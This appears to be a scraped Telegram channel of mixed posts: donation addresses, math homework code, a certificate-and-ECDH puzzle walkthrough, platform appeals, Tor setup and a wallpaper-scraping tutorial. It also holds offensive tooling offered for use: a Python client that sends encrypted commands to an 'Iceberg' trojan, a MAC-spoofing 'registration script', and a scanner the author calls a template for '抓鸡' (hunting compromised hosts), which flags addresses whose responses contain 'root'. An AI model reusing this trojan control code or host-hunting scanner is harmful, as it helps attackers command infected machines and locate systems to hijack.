bytecat
66 subscribers
4 photos
6 videos
6 files
41 links
USDT Tron:
TV7xutPgpSP1wQWF66ppiazZX7yJ5424JX
LTC: ltc1qfwg0lpv2taaa9z7ek73hwxldsj97zj7duplfrp
Session: 05be77963b5a305065d3a109e00aeaf98e6640e82c1973a92073ec762e8506ae35
The atmosphere in the associated group is sheer chaos.
Download Telegram
原话:根据相关法律法规政策,您的视频中含非法工具(如VPN,电脑病毒,非法软件,非法网站等)相关内容
修改建议:无法修改...
bytecategory/Iceberg_Trojan_CLI
bytecat
bytecategory/Iceberg_Trojan_CLI
from Crypto.Cipher import DES
import struct
import zlib
import binascii
import socket
import sys
def reverse_bytes(b):
assert type(b) == bytes
ba = bytearray(b)
for i in range(0, len(b)):
ba[i] = int(format(b[i], '0>8b')[::-1], 2)
return bytes(ba)
def get_new_key(key):
ba = bytearray(8)
for i, b in enumerate(key):
ba[i % 8] ^= b
return bytes(ba)
def padding(d):
ba = bytearray(d)
while len(ba) % 8 != 0:
ba.append(0)
return bytes(ba)
def append_len(d):
assert type(d) == bytes
length = struct.pack('<L', len(d))
return bytes(length + d)
def remove_len(d):
assert type(d) == bytes
return d[4:]
def e_des_encrypt(plain, key):
des = DES.new(reverse_bytes(get_new_key(key)), DES.MODE_ECB)
return des.encrypt(padding(append_len(plain)))
def e_des_decrypt(raw, key):
des = DES.new(reverse_bytes(get_new_key(key)), DES.MODE_ECB)
t = des.decrypt(raw)
return remove_len(t)
plain = "MicrosoftWebゑㄤゑ0ゑㄤゑ0ゑㄤゑ0ゑㄤゑ0ゑㄤゑ0ゑㄤゑ0ゑㄤゑ0ゑㄤゑ0ゑㄤゑ0ゑㄤゑ0".encode('gbk')
key = b"Microsoft"
ciph = e_des_encrypt(plain, key)
data = binascii.unhexlify('0d0f3e0308010000')+zlib.compress(ciph)
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((sys.argv[1],8080))
s.send(data)
while True:
recevied=s.recv(4096)
zlib_start = recevied.find(b'\x78\x9c')
if zlib_start!=-1:
zlib_data = recevied[zlib_start:]
decompressed = zlib.decompress(zlib_data)
plaintext_bytes = e_des_decrypt(decompressed, b"Microsoft")
plaintext = plaintext_bytes.decode('gbk')
print(plaintext)
else:
print(recevied)
It is the server of Iceberg
$a=(Get-NetAdapter -Physical | Where-Object { $_.Status -eq 'Up' })[0]
Set-NetAdapter $a -MacAddress "BC2411B9B662" -Confirm:$false

It is the registration script for Iceberg.
The process of solving a math test paper.
import sympy
import time
p=time.time()
print(-1+2)
a=24970000000
b=True
n=0
while b:
a/=10
n+=1
if a<10:
b=False
print('{}*10^{}'.format(a,n))
a=sympy.symbols('a')
b={'A':a**2+a**3==a**5,'B':a**2*a**3==a**6,'C':(3*a)**2==6*a**2,'D':a**5/a**3==a**2}
for k,v in b.items():
if v:
print(k)
from sympy import solve
x,k=sympy.symbols('x k')
r=solve(x**2-2*x+k-1,x,dict=True)
r=solve(r[0][x]-r[1][x],k,dict=True)
a=r[0][k]
print('k={}'.format(a))
print(60/(1+2))
from sympy import Symbol,ask,Q,Rational,factor,Abs
from sympy.assumptions import assuming
x1=Symbol('x1',negative=True)
d,x3=sympy.symbols('d x3',positive=True)
x2=x1+d
y=lambda x:-5/x
JJ=lambda t1,s1:not t1.__xor__(bool(s))
l=lambda k1,k2:sympy.together(y(k1)-y(k2)).as_numer_denom()
a=l(x1,x2)
s=a[0]>0
with assuming(Q.lt(d,-x1)):
t=ask(Q.negative(a[1]))
if JJ(t,s):
print('y2>y1')
b=l(x1,x3)
s=b[0]>0
t=b[0]>0
if JJ(t,s):
print('y1>y3')
print('...')
import random
b=[]
c={(120,140):5,(140,160):10,(160,180):15,(180,220):10}
for k,v in c.items():
for _ in range(v):
b.append(random.randrange(k[0],k[1]))
n=len(b)
print(sum(b)/n)
from collections import Counter
print(Counter(b).most_common(1)[0][0])
h=int(n/2-1)
k=int(n/2)
print((b[h]+b[k])/2)
import numpy
print(numpy.var(b))
print(factor(x**2-3*x))
print(2/5)
print(1+1/2)
print((90-20)/2)
print((Abs(-2))-sympy.sqrt(16)+(1/3)**(-1))
y=sympy.symbols('y')
b=sympy.solve([3*x-2*y-9,x-y-4],[x,y])
print(f"x={b[x]},"+f"y={b[y]}")
print(6*sympy.tan(sympy.pi/6)+6*sympy.tan(sympy.pi/3))
print(time.time()-p)
bytecat pinned Deleted message
gfw-looking-glass.sh
while true; do printf "\0\0\1\0\0\1\0\0\0\0\0\0\6wux.ru\300" | nc -uq1 8.8.8.8 53 | hd -s20; done

https://x.com/gfwrev/status/25220534979
ProjectX入群题解析(2 months ago)
1 将Let's encrypt的YE1证书的p-384公钥和使用"114514"在xcalc.pages.dev计算结果的作为hex解码后的前48字节作为私钥,进行椭圆曲线迪菲-赫尔曼交换,获得的共享秘密前3个字节是.
2 将世界上最后一张ip6.arpa证书的p-256公钥和使用"114514" sha512结果的前32字节作为私钥,进行椭圆曲线迪菲-赫尔曼密钥交换,获得的共享秘密前3个字节是.(错题)
关于第二题,我给Yuhan6665发送了一个消息,但是问了Spam Info bot,它说
"I am afraid some Telegram users found your message annoying and forwarded them to our team."
后来作罢.(这个故事可以滑到下面去看.)
消息如下
"""
CA/Browser Forum在2025年11月10日投票的Ballot SC-086v3
该提案不允许了给ip6.arpa及其子域名颁发公共信任的TLS证书
所以世界上最后一张ip6.arpa子域名的PEM cert的p-256公钥(在https://crt.sh 中ID是21503216809)是一个
未压缩的椭圆曲线公钥.(如果后文提到,则是ECC公钥)
它的后三个字节是9a6a4d.
如果大佬(Yuhan6665)认可"以上叙述",那么一道入群题需要更改.
"""
3 在Xray中,使用vision且设置TLS指纹为HellowChrome_120_PQ时,对其JA4指纹sha384后,后六位是.(错题)
4 在Xray中,使用WSS且设置TLS指纹为safari时,对其JA4指纹md5后,后六位是.
5 在Xray中,设置TLS指纹为safari时,对其JA4指纹sha384后,后六位是.
6 Curve25519中,有限域中的非0元素个数的48次方根是多少.
7 xray24.10.32以hex打开后第114514字节往后3字节.

限于时间,今天(2 months ago)就分享两道题目的解法,标注错题的为什么是错题明天再说.
柿子挑软的捏,先看最后一题.
7 访问https://github.com/XTLS/Xray-core ,单击Release,
接下来访问github.com/XTLS/Xray-core/releases/tag/v24.10.31
下载Xray-linux-64.zip并解压缩它.
xxd -l -s 114513 -l 3 xray
结果是e88a14
a=open('/root/Downloads/xray','rb')
a.seek(114513)
114513
a.read(3).hex()
结果也是e88a14
a.close()
最后别忘了关闭.
1
访问https://letsencrypt.org/certificates/ 并单击Certificate details后的pem,另存为int-ye1.pem.
用openssl查看证书(假设它是公钥证书)
openssl x509 -in ./int-ye1.pem -text -noout
这和letsencrypt.org/certs/gen-y/int-ye3.txt里的文本是一样的.
可以知道它的签名算法是ECDSA(椭圆曲线数字签名算法),它于1999年被接受为ANSI X9.62,ANSI X9.62定义了prime256v1,而SEC2 v2定义了secp256r1,换句话说,在ANSI X9.62中曲线secp256r1被命名为了prime256v1.
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.hazmat.primitives import serialization
from cryptography import x509
y = open("./int-ye1.pem",'rb')
l = y.read()
y.close()
c = x509.load_pem_x509_certificate(l)
p = c.public_key()
u = p.public_bytes(encoding=serialization.Encoding.X962,format=serialization.PublicFormat.UncompressedPoint)
将u.hex与pub:后字符串(同样来自于int-ye3.txt)去掉冒号比较,发现是一样的,注意这个序列是以04开头的.
众所周知,其实使用"114514"在xcalc.pages.dev计算结果就是加盐Sha512,盐值是"salt114514".
结果是a84a0c3e9c4e97258534dfb703b067e4b457bb7050ca1fe7ee031e8d4a229fdcf74850ffeaf7dfcd9672be1430047bbdbc0dda246f9b8baae7a5031456e84763
有128个(偶数个)十六进制数字
用binascii模块的unhexlify将它作为hex解码.
然后取开头到48号位(不含)的字符,这个数组所表示的整数(int.from_bytes,第二个参数是'big',字节顺序是大端序)就是a84a0c开头的哈希前面加个0x的结果,这个结果记作L
Q = ec.derive_private_key(L, ec.SECP384R1())
Q.exchange(ec.ECDH(), p)
这就是答案了,3ccf00bc927f12cc9e0a98ff21add7fc9b2f44637d8799729fdabb0e593d6742b75cf4bd88d919fbd0d9d2ba4b2099a3
前三个字节是3ccf00,撒花完结.
一年前的B站申诉
(好好看看置顶视频 它被限流了
只因我在标题的&amp;#34;&amp;#34;里写入 (最后一个知乎的量化调酒师也关注了两年半))
它的视频中
把下确界当成了最小值,
把开覆盖当成了包含,(居然有两个集合相互包含但不相等),
并忽略了指标集,'你别管它有多少个'大量如此的模糊解释.
更多请审核的工作人员跳转6:37观看,如果学过<实变函数论>的话,不然这个错误的视频就会误导很多人了.
一年前的知乎申诉
这里面只讨论了卷积,并引用了美国的诺伯特.维纳所写的<控制论 或动物与机器的控制和通信的科学>中的一段文本,所以它没有营销广告.如果这也算垃圾信息,那么试问我们如何在不谈论所谓"垃圾信息"的同时了解"图像信号处理"?
bytecat
我就在霹雳霹雳发布了一个视频 运行了如下程序 import requests from stem import Signal from stem.control import Controller url="https://check[.]torproject[.]org" import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) from bs4 import BeautifulSoup proxies…
还有以下命令(两年前的事了)
apt install -y libasound2-data libasound2t64 x11-utils libdbus-glib-1-2 file python3-socks python3-stem python3-bs4 python3-requests xz-utils #KALI LINUX
apt install -y libdbus-glib-1-2 libasound2-data libgtk-3-common #Ubuntu
chown root /mnt/wslg/runtime-dir
tar -xf tor-browser-linux-x86_64-13.5.6.tar.xz
./start-tor-browser.desktop --detach --verbose
有问题请朋友们指出
@echo off
setlocal enabledelayedexpansion
for %%x in (jpg) do (
set /a c=0
for %%f in (*.%%x) do (
set "d=!c!.%%x"
if exist "!d!" (
echo "!d!"
) else (
ren "%%f" "!d!"
echo %c%
)
set /a c+=1
)
echo .
)
pause
第一步:右键浏览器空白处,选择检查,点击网络,ctrl+r刷新,点击名称列表中的任意一个,然
后再右侧的标头中下拉,找到User-Agent复制后面的内容,
比如是Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/127.0.0.0 Safari/537.36
再找到referer复制后面的内容,比如是
https://www.3gbizhi.com/wallMV/index.html

第二步:构造一个http(s)请求头
headers={
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36',
'Referer':'https://www.3gbizhi.com/wallMV/index.html'
}

注意事先需导入两个库
import requests
import parsel


4.
url='http://www.3gbizhi.com/wallMV/index.html'
r=requests.get(url=url,headers=headers)

r表示服务器的应答,requests.get表示采用get请求(http请求的一种),headers是刚才的字
典,url在单引号里,参数在左,变量在右.
r.status_code输出应该是200,不然后续无法进行.接着print(r.text)
输出html文本内容一共有1359行
右键view查看.
对于html,现在应该用xpath表达式筛选出里面的img标签.
第六步:在浏览器中找到xpath右键检查,按下ctrl+shift+c
随便点一个图片检查找到该元素右键复制,复制xpath,
比如是/html/body/main/div[4]/ul/li[11]/a/img,
去掉/html/body以及[]里的数字,就像这样//main/div/ul/li/a/img,
注意main前面是//
第七步:我们要使r.text有一个向量xpath,
首先要把它转化为一个parsel对象,例如parsel.Selector(r.text)
然后
print(pasel.Selector(r.text).xpath('//main/div/ul/li/a/img').getall())
可以看到有一大堆输出,其中有一堆属性是lay-src,=号后的内容直接指向了图片所在
的url地址(相当于点击"在新标签页中打开图片")
例如https://pic.3gbizhi.com/uploads/xxx.jpg
我们要获取这个属性,只需要
print(pasel.Selector(r.text).xpath('//main/div/ul/li/a/img/@lay-src').getall())

返回一个图片列表.
第八步:for循环遍历这个列表
datalist=pasel.Selector(r.text).xpath('//main/div/ul/li/a/img/@lay-src').getall(
)
for data in datalist:
print(data)

这将把他们一行一行的输出,如果想把他们保存,只需要
number=1
for data in datalist:
with open (f'www3gbizhi/{number}.jpg','wb') as p:
#wb模式针对二进制数据的写入 f表示格式化,不然要加双斜杠
#www3gbizh是路径,as表示把它重命名为p
p.write(requests.get(url=data,headers=headers).content)
#.content表示二进制格式的数据write表示写入
number+=1
#让number从一开始,不断+1
#前提,同目录下一定要有一个空文件夹www3gbizhi

源码:
import requests
import parsel
number=1
for page in range(2,35):
print('=========={}=========='.format(page))
#{}是一个占位符,范围从1到34
base_url="https://www.3gbizhi.com/wallMV/index_{}.html".format(page)#同理
headers={'User-agent' : 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebkit/537.1 (KHTML ,like Gecko) Safari/537.1'}
response=requests.get(url=base_url) html_data=response.text
parse=parsel.Selector(html_data)
data_list=parse.xpath('/html/body/main/div/ul/li/a/img/@lay-src').getall()
for data in data_list:
imgdata=requests.get(url=data,headers=headers).content
with open (f'www3g/{number}.jpg',mode='wb') as f:
f.write(imgdata)
number+=1

总结,parsel只是用了一种正则表达式的方法,beauifulsoup甚至linux的perl命令也可以筛
选(三个月内发表)
本文在三个月前被我写下,现在发现它还可以运行,高兴极了.
(眨眼两年过去了)
SITE.txt
11.4 KB
推荐网站
https://github.com/shuakami/qq-chat-exporter/
[问题] Json文件中回复类型的消息的发送者错位
问题类型: 导出相关

我的问题:

这三行是已尝试的方法中的python3的stdout中的一个切片
gfwrev [回复 gfwrev: message_sample_1]
bytecategory [回复 bytecategory: message_sample_3]
bytecategory [回复 gfwrev: message_sample_2]
其中第三行是预期正确的 而第一行和第二行是错误的
分别应该是
gfwrev [回复 bytecategory: message_sample_1]
gfwrev [回复 bytecategory: message_sample_3]
这个问题看似是无中生有的 实际上有价值

已尝试的方法如下

from itertools import islice,cycle
length = 0
with open("/root/114514.json",'r') as f:
data = f.read()
data = json.loads(data)
senders = {'1912723': 'gfwrev','19031218': 'bytecategory'}
iterable = iter(data['messages'])
while (item := next(iterable, None)) and item.get("system") is True:
length +=1
for message in data['messages'][length:]:
text = message['content']['text']
first_key = next(iter(senders))
second_key = next(islice(senders, 1, None))
first_value = next(iter(senders.values()))
second_value = next(islice(senders.values(), 1, None))
text = text.replace(first_key, first_value)
text = text.replace(second_key, second_value)
if message['type'] == 'type_1' and message['system'] != True:
sender_name = message['sender']['name']
elif message['type'] == 'type_3':
uid = message['sender']['uid']
people_name = cycle(senders.values())
while True:
name = next(people_name)
if name == senders[uid]:
break
sender_name = next(people_name)
else:
del(text)
if 'text' in vars() and sender_name != None:
print(sender_name,text)
从今以后我抓鸡都用这个模板了,望周知.
import urllib3
http = urllib3.PoolManager(
timeout=urllib3.Timeout(connect=114514,read=1314520),
retries=False
)
aband = []
act = []
file_path = 'assets_2026211.txt'
with open(file_path,'r',encoding='utf-8') as f:
for line in f:
line = line.strip()
if not line:
continue
parts = [p.strip() for p in line.split(',')]
if len(parts) == 3 and parts[2]:
aband.append(parts)
elif len(parts) >= 2:
act.append(parts[:2])
del aband
for b in act:
ip = b[0]
port = b[1]
url = "http://" + ip + ":" + port + ""
try:
response = http.request('GET',url)
if b'root' in response.data:
print(ip + ':' + port)
else:
print(ip + ';' + port)
except:
pass
不怕神一样的对手,就怕猪一样的队友.
------顶级黑客Jeremy Hammond